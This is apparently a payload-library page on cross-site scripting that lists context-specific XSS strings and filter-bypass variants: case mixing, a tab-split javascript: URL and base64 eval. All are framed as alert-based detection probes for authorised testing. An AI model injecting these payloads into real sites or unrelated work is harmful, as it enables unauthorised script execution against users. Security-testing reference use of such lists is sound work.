Cross-Site Scripting (XSS)
Context-driven: pick by where your input lands. Start with a benign marker (vulnsXSS) to find reflection, then break the context - HTML body, attribute, JS string, URL, or SVG. Last entries are common WAF/filter bypasses.
Use as a detection primitive
Context-driven: pick by where your input lands. Start with a benign marker (vulnsXSS) to find reflection, then break the context - HTML body, attribute, JS string, URL, or SVG. Last entries are common WAF/filter bypasses.
Identify the parser, sink, encoding, and expected non-vulnerable behavior before choosing a sample. Prefer non-destructive markers.
Recorded payloads
Confirm the sink and encoding context before use.
"><svg/onload=alert(document.domain)>- Positive signal
- Tool-specific output that supports the stated hypothesis.
- Negative control
- No result, or identical behavior against a known-safe control.
- Intrusiveness
- Review flags and target scope before execution.
Confirm the sink and encoding context before use.
'><img src=x onerror=alert(document.domain)>- Positive signal
- Tool-specific output that supports the stated hypothesis.
- Negative control
- No result, or identical behavior against a known-safe control.
- Intrusiveness
- Review flags and target scope before execution.
Confirm the sink and encoding context before use.
" autofocus onfocus=alert(document.domain) x="- Positive signal
- Tool-specific output that supports the stated hypothesis.
- Negative control
- No result, or identical behavior against a known-safe control.
- Intrusiveness
- Review flags and target scope before execution.
Confirm the sink and encoding context before use.
javascript:alert(document.domain)//- Positive signal
- Tool-specific output that supports the stated hypothesis.
- Negative control
- No result, or identical behavior against a known-safe control.
- Intrusiveness
- Review flags and target scope before execution.
Confirm the sink and encoding context before use.
';alert(document.domain)//- Positive signal
- Tool-specific output that supports the stated hypothesis.
- Negative control
- No result, or identical behavior against a known-safe control.
- Intrusiveness
- Review flags and target scope before execution.
Confirm the sink and encoding context before use.
</script><script>alert(document.domain)</script>- Positive signal
- Tool-specific output that supports the stated hypothesis.
- Negative control
- No result, or identical behavior against a known-safe control.
- Intrusiveness
- Review flags and target scope before execution.
Confirm the sink and encoding context before use.
<img src=x onerror=alert`1`>- Positive signal
- Tool-specific output that supports the stated hypothesis.
- Negative control
- No result, or identical behavior against a known-safe control.
- Intrusiveness
- Review flags and target scope before execution.
Confirm the sink and encoding context before use.
<svg><animate onbegin=alert(1) attributeName=x dur=1s>- Positive signal
- Tool-specific output that supports the stated hypothesis.
- Negative control
- No result, or identical behavior against a known-safe control.
- Intrusiveness
- Review flags and target scope before execution.
Confirm the sink and encoding context before use.
<details open ontoggle=alert(1)>- Positive signal
- Tool-specific output that supports the stated hypothesis.
- Negative control
- No result, or identical behavior against a known-safe control.
- Intrusiveness
- Review flags and target scope before execution.
Confirm the sink and encoding context before use.
<iMg SrC=x OnErRoR=alert(1)>- Positive signal
- Tool-specific output that supports the stated hypothesis.
- Negative control
- No result, or identical behavior against a known-safe control.
- Intrusiveness
- Review flags and target scope before execution.
Confirm the sink and encoding context before use.
<a href="jav	ascript:alert(1)">x</a>- Positive signal
- Tool-specific output that supports the stated hypothesis.
- Negative control
- No result, or identical behavior against a known-safe control.
- Intrusiveness
- Review flags and target scope before execution.
Confirm the sink and encoding context before use.
<img src=x onerror=eval(atob('YWxlcnQoMSk='))>- Positive signal
- Tool-specific output that supports the stated hypothesis.
- Negative control
- No result, or identical behavior against a known-safe control.
- Intrusiveness
- Review flags and target scope before execution.
Attribution
Version history: normalized permanent page created 2026-08-20.